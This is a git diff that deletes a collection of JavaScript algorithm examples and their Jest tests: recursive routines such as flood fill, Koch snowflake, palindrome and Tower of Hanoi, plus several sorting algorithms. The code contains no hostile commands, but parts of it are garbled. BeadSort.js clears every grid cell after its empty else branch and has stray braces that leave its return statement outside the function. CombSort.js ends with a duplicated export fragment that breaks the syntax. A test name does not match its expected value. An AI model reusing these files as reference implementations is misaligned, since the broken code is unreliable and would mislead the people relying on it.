-    depthFirstFill(rgbData, location, targetColor, replacementColor);
-}
-/**
- * Utility-function to implement the breadth-first loop.
- *
- * @param rgbData The image to which the algorithm is applied.
- * @param location The start location on the image.
- * @param targetColor The old color to be replaced.
- * @param replacementColor The new color to replace the old one.
- * @param queue The locations that still need to be visited.
- */
-function breadthFirstFill(rgbData, location, targetColor, replacementColor, queue) {
-    const currentLocation = queue[0];
-    queue.shift();
-    if (rgbData[currentLocation[0]][currentLocation[1]] === targetColor) {
-        rgbData[currentLocation[0]][currentLocation[1]] = replacementColor;
-        for (let i = 0; i < neighbors.length; i++) {
-            const x = currentLocation[0] + neighbors[i][0];
-            const y = currentLocation[1] + neighbors[i][1];
-            if (x >= 0 && x < rgbData.length && y >= 0 && y < rgbData[0].length) {
-                queue.push([x, y]);
-            }
-        }
-    }
-}
-/**
- * Utility-function to implement the depth-first loop.
- *
- * @param rgbData The image to which the algorithm is applied.
- * @param location The start location on the image.
- * @param targetColor The old color to be replaced.
- * @param replacementColor The new color to replace the old one.
- */
-function depthFirstFill(rgbData, location, targetColor, replacementColor) {
-    if (rgbData[location[0]][location[1]] === targetColor) {
-        rgbData[location[0]][location[1]] = replacementColor;
-        for (let i = 0; i < neighbors.length; i++) {
-            const x = location[0] + neighbors[i][0];
-            const y = location[1] + neighbors[i][1];
-            if (x >= 0 && x < rgbData.length && y >= 0 && y < rgbData[0].length) {
-                depthFirstFill(rgbData, [x, y], targetColor, replacementColor);
-            }
-        }
-    }
-}
diff --git a/docs/content/DS_ALGO/algorithms/Recursive/KochSnowflake.js b/docs/content/DS_ALGO/algorithms/Recursive/KochSnowflake.js
deleted file mode 100644
index e13141eea5..0000000000
--- a/docs/content/DS_ALGO/algorithms/Recursive/KochSnowflake.js
+++ /dev/null
@@ -1,107 +0,0 @@
-/**
- * The Koch snowflake is a fractal curve and one of the earliest fractals to have been described.
- *
- * The Koch snowflake can be built up iteratively, in a sequence of stages. The first stage is an equilateral triangle,
- * and each successive stage is formed by adding outward bends to each side of the previous stage, making smaller
- * equilateral triangles. This can be achieved through the following steps for each line:
- * 1. divide the line segment into three segments of equal length.
- * 2. draw an equilateral triangle that has the middle segment from step 1 as its base and points outward.
- * 3. remove the line segment that is the base of the triangle from step 2.
- *
- * (description adapted from https://en.wikipedia.org/wiki/Koch_snowflake)
- * (for a more detailed explanation and an implementation in the Processing language, see
- * https://natureofcode.com/book/chapter-8-fractals/ #84-the-koch-curve-and-the-arraylist-technique).
- */
-/** Class to handle the vector calculations. */
-export class Vector2 {
-    constructor(x, y) {
-        this.x = x;
-        this.y = y;
-    }
-    /**
-     * Vector addition
-     *
-     * @param vector The vector to be added.
-     * @returns The sum-vector.
-     */
-    add(vector) {
-        const x = this.x + vector.x;
-        const y = this.y + vector.y;
-        return new Vector2(x, y);
-    }
-    /**
-     * Vector subtraction
-     *
-     * @param vector The vector to be subtracted.
-     * @returns The difference-vector.
-     */
-    subtract(vector) {
-        const x = this.x - vector.x;
-        const y = this.y - vector.y;
-        return new Vector2(x, y);
-    }
-    /**
-     * Vector scalar multiplication
-     *
-     * @param scalar The factor by which to multiply the vector.
-     * @returns The scaled vector.
-     */
-    multiply(scalar) {
-        const x = this.x * scalar;
-        const y = this.y * scalar;
-        return new Vector2(x, y);
-    }
-    /**
-     * Vector rotation (see https://en.wikipedia.org/wiki/Rotation_matrix)
-     *
-     * @param angleInDegrees The angle by which to rotate the vector.
-     * @returns The rotated vector.
-     */
-    rotate(angleInDegrees) {
-        const radians = (angleInDegrees * Math.PI) / 180;
-        const ca = Math.cos(radians);
-        const sa = Math.sin(radians);
-        const x = ca * this.x - sa * this.y;
-        const y = sa * this.x + ca * this.y;
-        return new Vector2(x, y);
-    }
-}
-/**
- * Go through the number of iterations determined by the argument "steps".
- *
- * Be careful with high values (above 5) since the time to calculate increases exponentially.
- *
- * @param initialVectors The vectors composing the shape to which the algorithm is applied.
- * @param steps The number of iterations.
- * @returns The transformed vectors after the iteration-steps.
- */
-export function iterate(initialVectors, steps) {
-    let vectors = initialVectors;
-    for (let i = 0; i < steps; i++) {
-        vectors = iterationStep(vectors);
-    }
-    return vectors;
-}
-/**
- * Loops through each pair of adjacent vectors.
- *
- * Each line between two adjacent vectors is divided into 4 segments by adding 3 additional vectors in-between the
- * original two vectors. The vector in the middle is constructed through a 60 degree rotation so it is bent outwards.
- *
- * @param vectors The vectors composing the shape to which the algorithm is applied.
- * @returns The transformed vectors after the iteration-step.
- */
-function iterationStep(vectors) {
-    const newVectors = [];
-    for (let i = 0; i < vectors.length - 1; i++) {
-        const startVector = vectors[i];
-        const endVector = vectors[i + 1];
-        newVectors.push(startVector);
-        const differenceVector = endVector.subtract(startVector).multiply(1 / 3);
-        newVectors.push(startVector.add(differenceVector));
-        newVectors.push(startVector.add(differenceVector).add(differenceVector.rotate(60)));
-        newVectors.push(startVector.add(differenceVector.multiply(2)));
-    }
-    newVectors.push(vectors[vectors.length - 1]);
-    return newVectors;
-}
diff --git a/docs/content/DS_ALGO/algorithms/Recursive/KochSnowflake.manual-test.js b/docs/content/DS_ALGO/algorithms/Recursive/KochSnowflake.manual-test.js
deleted file mode 100644
index b1435c4930..0000000000
--- a/docs/content/DS_ALGO/algorithms/Recursive/KochSnowflake.manual-test.js
+++ /dev/null
@@ -1,52 +0,0 @@
-import { Vector2, iterate } from './KochSnowflake';
-/**
- * Method to render the Koch snowflake to a canvas.
- *
- * @param canvasWidth The width of the canvas.
- * @param steps The number of iterations.
- * @returns The canvas of the rendered Koch snowflake.
- */
-function getKochSnowflake(canvasWidth = 600, steps = 5) {
-    if (canvasWidth <= 0) {
-        throw new Error('canvasWidth should be greater than zero');
-    }
-    const offsetX = canvasWidth / 10.0;
-    const offsetY = canvasWidth / 3.7;
-    const vector1 = new Vector2(offsetX, offsetY);
-    const vector2 = new Vector2(canvasWidth / 2, Math.sin(Math.PI / 3) * canvasWidth * 0.8 + offsetY);
-    const vector3 = new Vector2(canvasWidth - offsetX, offsetY);
-    const initialVectors = [];
-    initialVectors.push(vector1);
-    initialVectors.push(vector2);
-    initialVectors.push(vector3);
-    initialVectors.push(vector1);
-    const vectors = iterate(initialVectors, steps);
-    return drawToCanvas(vectors, canvasWidth, canvasWidth);
-}
-/**
- * Utility-method to render the Koch snowflake to a canvas.
- *
- * @param vectors The vectors defining the edges to be rendered.
- * @param canvasWidth The width of the canvas.
- * @param canvasHeight The height of the canvas.
- * @returns The canvas of the rendered edges.
- */
-function drawToCanvas(vectors, canvasWidth, canvasHeight) {
-    const canvas = document.createElement('canvas');
-    canvas.width = canvasWidth;
-    canvas.height = canvasHeight;
-    // Draw the edges
-    const ctx = canvas.getContext('2d');
-    ctx.beginPath();
-    ctx.moveTo(vectors[0].x, vectors[0].y);
-    for (let i = 1; i < vectors.length; i++) {
-        ctx.lineTo(vectors[i].x, vectors[i].y);
-    }
-    ctx.stroke();
-    return canvas;
-}
-// plot the results if the script is executed in a browser with a window-object
-if (typeof window !== 'undefined') {
-    const canvas = getKochSnowflake();
-    document.body.append(canvas);
-}
diff --git a/docs/content/DS_ALGO/algorithms/Recursive/Palindrome.js b/docs/content/DS_ALGO/algorithms/Recursive/Palindrome.js
deleted file mode 100644
index 19466ab823..0000000000
--- a/docs/content/DS_ALGO/algorithms/Recursive/Palindrome.js
+++ /dev/null
@@ -1,21 +0,0 @@
-/**
- * @function Palindrome
- * @description Check whether the given string is Palindrome or not.
- * @param {String} str - The input string
- * @return {Boolean}.
- * @see [Palindrome](https://en.wikipedia.org/wiki/Palindrome)
- */
-const palindrome = (str) => {
-    if (typeof str !== 'string') {
-        throw new TypeError('Invalid Input');
-    }
-    if (str.length <= 1) {
-        return true;
-    }
-    if (str[0] !== str[str.length - 1]) {
-        return false;
-    } else {
-        return palindrome(str.slice(1, str.length - 1));
-    }
-};
-export { palindrome };
diff --git a/docs/content/DS_ALGO/algorithms/Recursive/SubsequenceRecursive.js b/docs/content/DS_ALGO/algorithms/Recursive/SubsequenceRecursive.js
deleted file mode 100644
index 507ef11604..0000000000
--- a/docs/content/DS_ALGO/algorithms/Recursive/SubsequenceRecursive.js
+++ /dev/null
@@ -1,29 +0,0 @@
-/*
- * Problem Statement: Find all distinct, non-empty subsequence of given string in lexicographical order using recursive approach.
- *
- * What is subsequence?
- * A Subsequence is sequence obtained by deleting some or no elements without changing the order of elements
- * Example: Given a string = "abcd"
- * 1. "abc" is a subsequence
- * 2. "abd" is a subsequence
- * 3. But "ba" is not a subsequence (because order is changed)
- *
- * What is lexicographical order?
- * In simple terms, lexicographical order is dictionary order.
- * Example: Given a string = "abcd"
- * 1. "abc" will come before "abcd".
- * 2. "abd" will come before "ac".
- *
- * References for meaning of subsequence & lexicographical:
- * https://en.wikipedia.org/wiki/Subsequence
- * https://en.wikipedia.org/wiki/Lexicographic_order
- */
-export const subsequence = (str, seq, low, output = []) => {
-    if (low <= str.length && str.length !== 0) {
-        output.push(seq);
-    }
-    for (let i = low; i < str.length; i++) {
-        subsequence(str, seq + str[i], i + 1, output);
-    }
-    return output;
-};
diff --git a/docs/content/DS_ALGO/algorithms/Recursive/TowerOfHanoi.js b/docs/content/DS_ALGO/algorithms/Recursive/TowerOfHanoi.js
deleted file mode 100644
index ad599527bb..0000000000
--- a/docs/content/DS_ALGO/algorithms/Recursive/TowerOfHanoi.js
+++ /dev/null
@@ -1,15 +0,0 @@
-// wiki - https://en.wikipedia.org/wiki/Tower_of_Hanoi
-// Recursive Javascript function to solve tower of hanoi
-export function TowerOfHanoi(n, from, to, aux, output = []) {
-    if (n === 1) {
-        output.push(`Move disk 1 from rod ${from} to rod ${to}`);
-        return output;
-    }
-    TowerOfHanoi(n - 1, from, aux, to, output);
-    output.push(`Move disk ${n} from rod ${from} to rod ${to}`);
-    TowerOfHanoi(n - 1, aux, to, from, output);
-    return output;
-}
-// Driver code (A, C, B are the name of rods)
-// const n = 4
-// TowerOfHanoi(n, 'A', 'C', 'B')
diff --git a/docs/content/DS_ALGO/algorithms/Recursive/test/BinarySearch.test.js b/docs/content/DS_ALGO/algorithms/Recursive/test/BinarySearch.test.js
deleted file mode 100644
index 9b4fd08b35..0000000000
--- a/docs/content/DS_ALGO/algorithms/Recursive/test/BinarySearch.test.js
+++ /dev/null
@@ -1,26 +0,0 @@
-import { binarySearch } from '../BinarySearch';
-describe('BinarySearch', () => {
-    const arr = [2, 3, 4, 10, 25, 40, 45, 60, 100, 501, 700, 755, 800, 999];
-    const low = 0;
-    const high = arr.length - 1;
-    it('should return index 3 for searchValue 10', () => {
-        const searchValue = 10;
-        expect(binarySearch(arr, searchValue, low, high)).toBe(3);
-    });
-    it('should return index 0 for searchValue 2', () => {
-        const searchValue = 2;
-        expect(binarySearch(arr, searchValue, low, high)).toBe(0);
-    });
-    it('should return index 13 for searchValue 999', () => {
-        const searchValue = 999;
-        expect(binarySearch(arr, searchValue, low, high)).toBe(13);
-    });
-    it('should return -1 for searchValue 1', () => {
-        const searchValue = 1;
-        expect(binarySearch(arr, searchValue, low, high)).toBe(-1);
-    });
-    it('should return -1 for searchValue 1000', () => {
-        const searchValue = 1000;
-        expect(binarySearch(arr, searchValue, low, high)).toBe(-1);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/Recursive/test/Factorial.test.js b/docs/content/DS_ALGO/algorithms/Recursive/test/Factorial.test.js
deleted file mode 100644
index 8b3be2cca1..0000000000
--- a/docs/content/DS_ALGO/algorithms/Recursive/test/Factorial.test.js
+++ /dev/null
@@ -1,9 +0,0 @@
-import { factorial } from '../Factorial';
-describe('Factorial', () => {
-    it('should return factorial 1 for value "0"', () => {
-        expect(factorial(0)).toBe(1);
-    });
-    it('should return factorial 120 for value "5"', () => {
-        expect(factorial(5)).toBe(120);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/Recursive/test/FibonacciNumberRecursive.test.js b/docs/content/DS_ALGO/algorithms/Recursive/test/FibonacciNumberRecursive.test.js
deleted file mode 100644
index 4bac438e84..0000000000
--- a/docs/content/DS_ALGO/algorithms/Recursive/test/FibonacciNumberRecursive.test.js
+++ /dev/null
@@ -1,15 +0,0 @@
-import { fibonacci } from '../FibonacciNumberRecursive';
-describe('FibonacciNumberRecursive', () => {
-    it('should return 0', () => {
-        expect(fibonacci(0)).toBe(0);
-    });
-    it('should return 1', () => {
-        expect(fibonacci(1)).toBe(1);
-    });
-    it('should return 5', () => {
-        expect(fibonacci(5)).toBe(5);
-    });
-    it('should return 9', () => {
-        expect(fibonacci(9)).toBe(34);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/Recursive/test/FloodFill.test.js b/docs/content/DS_ALGO/algorithms/Recursive/test/FloodFill.test.js
deleted file mode 100644
index 52d9758a5f..0000000000
--- a/docs/content/DS_ALGO/algorithms/Recursive/test/FloodFill.test.js
+++ /dev/null
@@ -1,73 +0,0 @@
-import { breadthFirstSearch, depthFirstSearch } from '../FloodFill';
-// some constants
-const black = [0, 0, 0];
-const green = [0, 255, 0];
-const violet = [255, 0, 255];
-const white = [255, 255, 255];
-const orange = [255, 128, 0];
-describe('FloodFill', () => {
-    it('should calculate the correct colors using breadth-first approach', () => {
-        expect(testBreadthFirst([1, 1], green, orange, [1, 1])).toEqual(orange);
-        expect(testBreadthFirst([1, 1], green, orange, [0, 1])).toEqual(violet);
-        expect(testBreadthFirst([1, 1], green, orange, [6, 4])).toEqual(white);
-    });
-    it('should calculate the correct colors using depth-first approach', () => {
-        expect(testDepthFirst([1, 1], green, orange, [1, 1])).toEqual(orange);
-        expect(testDepthFirst([1, 1], green, orange, [0, 1])).toEqual(violet);
-        expect(testDepthFirst([1, 1], green, orange, [6, 4])).toEqual(white);
-    });
-});
-/**
- * Utility-function to test the function "breadthFirstSearch".
- *
- * @param fillLocation The start location on the image where the flood fill is applied.
- * @param targetColor The old color to be replaced.
- * @param replacementColor The new color to replace the old one.
- * @param testLocation The location of the color to be checked.
- * @return The color at testLocation.
- */
-function testBreadthFirst(fillLocation, targetColor, replacementColor, testLocation) {
-    const rgbData = generateTestRgbData();
-    breadthFirstSearch(rgbData, fillLocation, targetColor, replacementColor);
-    return rgbData[testLocation[0]][testLocation[1]];
-}
-/**
- * Utility-function to test the function "depthFirstSearch".
- *
- * @param fillLocation The start location on the image where the flood fill is applied.
- * @param targetColor The old color to be replaced.
- * @param replacementColor The new color to replace the old one.
- * @param testLocation The location of the color to be checked.
- * @return The color at testLocation.
- */
-function testDepthFirst(fillLocation, targetColor, replacementColor, testLocation) {
-    // eslint-disable-line
-    const rgbData = generateTestRgbData();
-    depthFirstSearch(rgbData, fillLocation, targetColor, replacementColor);
-    return rgbData[testLocation[0]][testLocation[1]];
-}
-/**
- * Generates the rgbData-matrix for the tests.
- *
- * @return example rgbData-matrix.
- */
-function generateTestRgbData() {
-    const layout = [
-        [violet, violet, green, green, black, green, green],
-        [violet, green, green, black, green, green, green],
-        [green, green, green, black, green, green, green],
-        [black, black, green, black, white, white, green],
-        [violet, violet, black, violet, violet, white, white],
-        [green, green, green, violet, violet, violet, violet],
-        [violet, violet, violet, violet, violet, violet, violet]
-    ];
-    // transpose layout-matrix so the x-index comes before the y-index
-    const transposed = [];
-    for (let x = 0; x < layout[0].length; x++) {
-        transposed[x] = [];
-        for (let y = 0; y < layout.length; y++) {
-            transposed[x][y] = layout[y][x];
-        }
-    }
-    return transposed;
-}
diff --git a/docs/content/DS_ALGO/algorithms/Recursive/test/KochSnowflake.test.js b/docs/content/DS_ALGO/algorithms/Recursive/test/KochSnowflake.test.js
deleted file mode 100644
index 135a6dd53c..0000000000
--- a/docs/content/DS_ALGO/algorithms/Recursive/test/KochSnowflake.test.js
+++ /dev/null
@@ -1,10 +0,0 @@
-import { iterate, Vector2 } from '../KochSnowflake';
-describe('KochSnowflake', () => {
-    it('should produce the correctly-transformed vectors', () => {
-        expect(iterate([new Vector2(0, 0), new Vector2(1, 0)], 1)[0]).toEqual({ x: 0, y: 0 });
-        expect(iterate([new Vector2(0, 0), new Vector2(1, 0)], 1)[1]).toEqual({ x: 1 / 3, y: 0 });
-        expect(iterate([new Vector2(0, 0), new Vector2(1, 0)], 1)[2]).toEqual({ x: 1 / 2, y: Math.sin(Math.PI / 3) / 3 });
-        expect(iterate([new Vector2(0, 0), new Vector2(1, 0)], 1)[3]).toEqual({ x: 2 / 3, y: 0 });
-        expect(iterate([new Vector2(0, 0), new Vector2(1, 0)], 1)[4]).toEqual({ x: 1, y: 0 });
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/Recursive/test/palindrome.test.js b/docs/content/DS_ALGO/algorithms/Recursive/test/palindrome.test.js
deleted file mode 100644
index ca2e37ff32..0000000000
--- a/docs/content/DS_ALGO/algorithms/Recursive/test/palindrome.test.js
+++ /dev/null
@@ -1,20 +0,0 @@
-import { palindrome } from '../Palindrome';
-describe('Palindrome', () => {
-    it('expects to return true for palindrome string', () => {
-        const isPalindrome = palindrome('madam');
-        expect(isPalindrome).toBe(true);
-    });
-    it('expects to return true for Empty String', () => {
-        const isPalindrome = palindrome('');
-        expect(isPalindrome).toBe(true);
-    });
-    it('expects to return false for non-palindrome string', () => {
-        const isPalindrome = palindrome('foobar');
-        expect(isPalindrome).toBe(false);
-    });
-    it('Throw Error for Invalid Input', () => {
-        expect(() => palindrome(123)).toThrow('Invalid Input');
-        expect(() => palindrome(null)).toThrow('Invalid Input');
-        expect(() => palindrome(undefined)).toThrow('Invalid Input');
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/Sorts/AlphaNumericalSort.js b/docs/content/DS_ALGO/algorithms/Sorts/AlphaNumericalSort.js
deleted file mode 100644
index a3a2b6d072..0000000000
--- a/docs/content/DS_ALGO/algorithms/Sorts/AlphaNumericalSort.js
+++ /dev/null
@@ -1,27 +0,0 @@
-/*
-  https://en.wikipedia.org/wiki/Natural_sort_order
-  In computing, natural sort order (or natural sorting) is the ordering of strings in alphabetical order,
-  except that multi-digit numbers are treated atomically, i.e., as if they were a single character. Natural sort order
-  has been promoted as being more human-friendly ("natural") than machine-oriented, pure alphabetical sort order.[1]
-  For example, in alphabetical sorting, "z11" would be sorted before "z2" because the "1" in the first string is sorted as smaller
-  than "2", while in natural sorting "z2" is sorted before "z11" because "2" is treated as smaller than "11".
-  Alphabetical sorting:
-  1.z11
-  2.z2
-  Natural sorting:
-  1. z2
-  2. z11
-  P.S. use this function, as there are a lot of implementations on the stackoverflow and other forums, but many of them don't work correctly (can't pass all my tests)
-*/
-const alphaNumericalSort = (a, b) => {
-    /*
-    https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/String/localeCompare
-    The localeCompare() method returns a number indicating whether a reference string comes before, or after, or is the same as the given string in sort order.
-    The new locales and options arguments let applications specify the language whose sort order should be used and customize the behavior of the function.
-    In older implementations, which ignore the locales and options arguments, the locale and sort order used are entirely implementation-dependent.
-    Syntax:
-    localeCompare(compareString, locales, options)
-  */
-    return a.localeCompare(b, undefined, { numeric: true });
-};
-export { alphaNumericalSort };
diff --git a/docs/content/DS_ALGO/algorithms/Sorts/BeadSort.js b/docs/content/DS_ALGO/algorithms/Sorts/BeadSort.js
deleted file mode 100644
index 2b97cc9c84..0000000000
--- a/docs/content/DS_ALGO/algorithms/Sorts/BeadSort.js
+++ /dev/null
@@ -1,49 +0,0 @@
-/**
- * Bead Sort, also known as Gravity sort.
- *
- * This algorithm was inspired from natural phenomena and was designed keeping in mind objects (or beads) falling under
- * the influence of gravity.
- *
- * NOTE: It only works for arrays of positive integers.
- *
- * Wikipedia: https://en.wikipedia.org/wiki/Bead_sort
- */
-export function beadSort(sequence) {
-    /* Let's ensure our sequence has only Positive Integers */
-    if (sequence.some((integer) => integer < 0)) {
-        throw RangeError('Sequence must be a list of Positive integers Only!');
-    }
-    const sequenceLength = sequence.length;
-    const max = Math.max(...sequence);
-    // Set initial Grid
-    const grid = sequence.map((number) => {
-        const maxArr = new Array(max);
-        for (let i = 0; i < number; i++) {
-            maxArr[i] = '*';
-        }
-        return maxArr;
-    });
-    // Drop the Beads!
-    for (let col = 0; col < max; col++) {
-        let beadsCount = 0;
-        for (let row = 0; row < sequenceLength; row++) {
-            if (grid[row][col] === '*') {
-                beadsCount++;
-            }
-        }
-        for (let row = sequenceLength - 1; row > -1; row--) {
-            if (beadsCount) {
-                grid[row][col] = '*';
-                beadsCount--;
-            } else {}
-            grid[row][col] = undefined;
-        }
-    }
-}
-/* Finally, let's turn our Bead rows into their Respective Numbers */
-return grid.map((beadArray) => {
-    const beadsArray = beadArray.filter((bead) => bead === '*');
-    return beadsArray.length;
-});
-}
-}
diff --git a/docs/content/DS_ALGO/algorithms/Sorts/BogoSort.js b/docs/content/DS_ALGO/algorithms/Sorts/BogoSort.js
deleted file mode 100644
index ecabb8b396..0000000000
--- a/docs/content/DS_ALGO/algorithms/Sorts/BogoSort.js
+++ /dev/null
@@ -1,36 +0,0 @@
-/**
- * Checks whether the given array is sorted in ascending order.
- */
-export function isSorted(array) {
-    const length = array.length;
-    for (let i = 0; i < length - 1; i++) {
-        if (array[i] > array[i + 1]) {
-            return false;
-        }
-    }
-    return true;
-}
-/**
- * Shuffles the given array randomly in place.
- */
-function shuffle(array) {
-    for (let i = array.length - 1; i; i--) {
-        const m = Math.floor(Math.random() * i);
-        const n = array[i - 1];
-        array[i - 1] = array[m];
-        array[m] = n;
-    }
-}
-/**
- * Implementation of the bogosort algorithm.
- *
- * This sorting algorithm randomly rearranges the array until it is sorted.
- *
- * For more information see: https://en.wikipedia.org/wiki/Bogosort
- */
-export function bogoSort(items) {
-    while (!isSorted(items)) {
-        shuffle(items);
-    }
-    return items;
-}
diff --git a/docs/content/DS_ALGO/algorithms/Sorts/BubbleSort.js b/docs/content/DS_ALGO/algorithms/Sorts/BubbleSort.js
deleted file mode 100644
index d166256905..0000000000
--- a/docs/content/DS_ALGO/algorithms/Sorts/BubbleSort.js
+++ /dev/null
@@ -1,54 +0,0 @@
-/* Bubble Sort is an algorithm to sort an array. It
- *  compares adjacent element and swaps their position
- *  The big O on bubble sort in worst and best case is O(N^2).
- *  Not efficient.
- *  Somehow if the array is sorted or nearly sorted then we can optimize bubble sort by adding a flag.
- *
- *  In bubble sort, we keep iterating while something was swapped in
- *  the previous inner-loop iteration. By swapped I mean, in the
- *  inner loop iteration, we check each number if the number proceeding
- *  it is greater than itself, if so we swap them.
- *
- *  Wikipedia: https://en.wikipedia.org/wiki/Bubble_sort
- *  Animated Visual: https://www.toptal.com/developers/sorting-algorithms/bubble-sort
- */
-/**
- * Using 2 for loops.
- */
-export function bubbleSort(items) {
-    const length = items.length;
-    let noSwaps;
-    for (let i = length; i > 0; i--) {
-        // flag for optimization
-        noSwaps = true;
-        // Number of passes
-        for (let j = 0; j < i - 1; j++) {
-            // Compare the adjacent positions
-            if (items[j] > items[j + 1]) {
-                // Swap the numbers
-                [items[j], items[j + 1]] = [items[j + 1], items[j]];
-                noSwaps = false;
-            }
-        }
-        if (noSwaps) {
-            break;
-        }
-    }
-    return items;
-}
-/**
- * Using a while loop and a for loop.
- */
-export function alternativeBubbleSort(arr) {
-    let swapped = true;
-    while (swapped) {
-        swapped = false;
-        for (let i = 0; i < arr.length - 1; i++) {
-            if (arr[i] > arr[i + 1]) {
-                [arr[i], arr[i + 1]] = [arr[i + 1], arr[i]];
-                swapped = true;
-            }
-        }
-    }
-    return arr;
-}
diff --git a/docs/content/DS_ALGO/algorithms/Sorts/BucketSort.js b/docs/content/DS_ALGO/algorithms/Sorts/BucketSort.js
deleted file mode 100644
index eccec713d0..0000000000
--- a/docs/content/DS_ALGO/algorithms/Sorts/BucketSort.js
+++ /dev/null
@@ -1,58 +0,0 @@
-/**
- * BucketSort implementation.
- *
- * Wikipedia says: Bucket sort, or bin sort, is a sorting algorithm that works by distributing the elements of an array
- * into a number of buckets. Each bucket is then sorted individually, either using a different sorting algorithm, or by
- * recursively applying the bucket sorting algorithm. It is a distribution sort, and is a cousin of radix sort in the
- * most to least significant digit flavour. Bucket sort is a generalization of pigeonhole sort. Bucket sort can be
- * implemented with comparisons and therefore can also be considered a comparison sort algorithm. The computational
- * complexity estimates involve the number of buckets.
- *
- * @see https://en.wikipedia.org/wiki/Bucket_sort#:~:text=Bucket%20sort%2C%20or%20bin%20sort,applying%20the%20bucket%20sorting%20algorithm.&text=Sort%20each%20non%2Dempty%20bucket.
- *
- * Time Complexity of Solution:
- * Best Case O(n); Average Case O(n); Worst Case O(n)
- *
- * @param {number[]} list The array of numbers to be sorted.
- * @param {number} size The size of the buckets used. If not provided, size will be 5.
- * @return {number[]} An array of numbers sorted in increasing order.
- */
-export function bucketSort(list, size) {
-    if (undefined === size) {
-        size = 5;
-    }
-    if (list.length === 0) {
-        return list;
-    }
-    let min = list[0];
-    let max = list[0];
-    // find min and max
-    for (let iList = 0; iList < list.length; iList++) {
-        if (list[iList] < min) {
-            min = list[iList];
-        } else if (list[iList] > max) {
-            max = list[iList];
-        }
-    }
-    // how many buckets we need
-    const count = Math.floor((max - min) / size) + 1;
-    // create buckets
-    const buckets = [];
-    for (let iCount = 0; iCount < count; iCount++) {
-        buckets.push([]);
-    }
-    // bucket fill
-    for (let iBucket = 0; iBucket < list.length; iBucket++) {
-        const key = Math.floor((list[iBucket] - min) / size);
-        buckets[key].push(list[iBucket]);
-    }
-    const sorted = [];
-    // now sort every bucket and merge it to the sorted list
-    for (let iBucket = 0; iBucket < buckets.length; iBucket++) {
-        const arr = buckets[iBucket].sort((a, b) => a - b);
-        for (let iSorted = 0; iSorted < arr.length; iSorted++) {
-            sorted.push(arr[iSorted]);
-        }
-    }
-    return sorted;
-}
diff --git a/docs/content/DS_ALGO/algorithms/Sorts/CocktailShakerSort.js b/docs/content/DS_ALGO/algorithms/Sorts/CocktailShakerSort.js
deleted file mode 100644
index 20dfe805a5..0000000000
--- a/docs/content/DS_ALGO/algorithms/Sorts/CocktailShakerSort.js
+++ /dev/null
@@ -1,28 +0,0 @@
-/**
- * Cocktail Shaker Sort is an algorithm that is a Bidirectional Bubble Sort.
- *
- * The algorithm extends bubble sort by operating in two directions.
- * While it improves on bubble sort by more quickly moving items to the beginning of the list, it provides only marginal
- * performance improvements.
- *
- * Wikipedia (Cocktail Shaker Sort): https://en.wikipedia.org/wiki/Cocktail_shaker_sort
- * Wikipedia (Bubble Sort): https://en.wikipedia.org/wiki/Bubble_sort
- */
-export function cocktailShakerSort(items) {
-    for (let i = items.length - 1; i > 0; i--) {
-        let j;
-        // Backwards
-        for (j = items.length - 1; j > i; j--) {
-            if (items[j] < items[j - 1]) {
-                [items[j], items[j - 1]] = [items[j - 1], items[j]];
-            }
-        }
-        // Forwards
-        for (j = 0; j < i; j++) {
-            if (items[j] > items[j + 1]) {
-                [items[j], items[j + 1]] = [items[j + 1], items[j]];
-            }
-        }
-    }
-    return items;
-}
diff --git a/docs/content/DS_ALGO/algorithms/Sorts/CombSort.js b/docs/content/DS_ALGO/algorithms/Sorts/CombSort.js
deleted file mode 100644
index 15b914aa08..0000000000
--- a/docs/content/DS_ALGO/algorithms/Sorts/CombSort.js
+++ /dev/null
@@ -1,51 +0,0 @@
-/**
- * Comb sort improves on bubble sort.
- *
- * The basic idea is to eliminate turtles, or small values
- * near the end of the list, since in a bubble sort these slow the sorting
- * down tremendously. Rabbits, large values around the beginning of the list,
- * do not pose a problem in bubble sort.
- *
- * In bubble sort, when any two elements are compared, they always have a
- * gap (distance from each other) of 1. The basic idea of comb sort is
- * that the gap can be much more than 1. The inner loop of bubble sort,
- * which does the actual swap, is modified such that gap between swapped
- * elements goes down (for each iteration of outer loop) in steps of
- * a "shrink factor" k: [ n/k, n/k2, n/k3, ..., 1 ].
- *
- * Wikipedia: https://en.wikipedia.org/wiki/Comb_sort
- */
-/**
- * combSort returns an array of numbers sorted in increasing order.
- *
- * @param {number[]} list The array of numbers to sort.
- * @return {number[]} The array of numbers sorted in increasing order.
- */
-function combSort(list) {
-    if (list.length === 0) {
-        return list;
-    }
-    const shrink = 1.3;
-    let gap = list.length;
-    let isSwapped = true;
-    let i = 0;
-    while (gap > 1 || isSwapped) {
-        // Update the gap value for a next comb
-        gap = parseInt(parseFloat(gap) / shrink, 10);
-        isSwapped = false;
-        i = 0;
-        while (gap + i < list.length) {
-            if (list[i] > list[i + gap]) {
-                [list[i], list[i + gap]] = [list[i + gap], list[i]];
-                isSwapped = true;
-            }
-            i += 1;
-        }
-    }
-    return list;
-}
-export {
-    combSort
-};
-combSort
-};
diff --git a/docs/content/DS_ALGO/algorithms/Sorts/CountingSort.js b/docs/content/DS_ALGO/algorithms/Sorts/CountingSort.js
deleted file mode 100644
index 280ae59246..0000000000
--- a/docs/content/DS_ALGO/algorithms/Sorts/CountingSort.js
+++ /dev/null
@@ -1,35 +0,0 @@
-/**
- * Counting sort is an algorithm for sorting a collection
- * of objects according to keys that are small integers.
- *
- * It is an integer sorting algorithm.
- *
- * Wikipedia: https://en.wikipedia.org/wiki/Counting_sort
- * Animated Visual: https://www.cs.usfca.edu/~galles/visualization/CountingSort.html
- */
-export const countingSort = (arr, min, max) => {
-    // Create an auxiliary resultant array
-    const res = [];
-    // Create and initialize the frequency[count] array
-    const count = new Array(max - min + 1).fill(0);
-    // Populate the freq array
-    for (let i = 0; i < arr.length; i++) {
-        count[arr[i] - min]++;
-    }
-    // Create a prefix sum array out of the frequency[count] array
-    count[0] -= 1;
-    for (let i = 1; i < count.length; i++) {
-        count[i] += count[i - 1];
-    }
-    // Populate the result array using the prefix sum array
-    for (let i = arr.length - 1; i >= 0; i--) {
-        res[count[arr[i] - min]] = arr[i];
-        count[arr[i] - min]--;
-    }
-    return res;
-};
-/**
- * Implementation of Counting Sort
- */
